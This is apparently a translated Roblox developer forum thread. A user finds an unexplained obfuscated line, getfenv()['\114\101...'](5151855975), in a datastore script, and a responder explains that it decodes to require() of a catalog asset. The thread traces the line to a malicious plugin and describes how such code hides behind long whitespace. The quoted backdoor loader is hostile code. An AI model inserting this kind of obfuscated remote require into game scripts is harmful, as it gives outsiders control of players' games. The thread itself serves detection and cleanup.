Lua 我的脚本中出现的随机代码,是病毒吗?

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当我完全重做我的数据存储脚本时,我完成了游戏的最后一步:BindToClose(function(),我只是在所有玩家中循环执行我在PlayerRemoving上所做的操作。我在游戏后按enter键:BindToClose(function())这段代码出现在它下面的一行。这是不是意味着我的游戏有病毒?!或者这只是一个roblox的bug

getfenv()['\114\101\113\117\105\114\101'](5151855975)

您是编写了此数据存储脚本,还是从工具箱中修改了现有脚本

getfenv
setfenv
一直被用于恶意脚本中,以动态执行难以阅读和理解的代码。 此行正在执行
require(5151855975)
,该命令将从Roblox目录中动态加载。幸运的是,此资源已被调节,因此如果加载,它将不会执行任何操作

通常情况下,这些恶意代码行隐藏在真实代码的末尾,使用空格将恶意代码推到远离屏幕的地方

print("This is a normal line")   <add 200 spaces>    print("here is a hidden line of code")
print(“这是一条普通线”)print(“这是一条隐藏的代码线”)

听起来,当你按enter键时,你意外地泄露了一些秘密的恶意代码。你可能可以安全地删除它,而不会破坏脚本。

我真的不记得我是否写了原始脚本,因为我一直在学习lua,一旦我学会了更好的方法,我就修改和重做脚本。我会检查是否还有更多。我很高兴你对此做出回应,我想我不久前安装的一个插件有恶意代码,因为我使用了“查找结果”,发现它几乎存在于我的每一个脚本中。我删除了我所有的插件并删除了代码。我如何找到导致代码的插件而不将其返回到我的游戏中?我希望你能合作uld告诉我它是哪个插件。如果你不介意我问的话,你安装了多少插件?事实上,我认为我找到了一个,非常感谢!是的,资产已经被管理,但现在我知道了恶意代码,以及如何删除和可能防止它!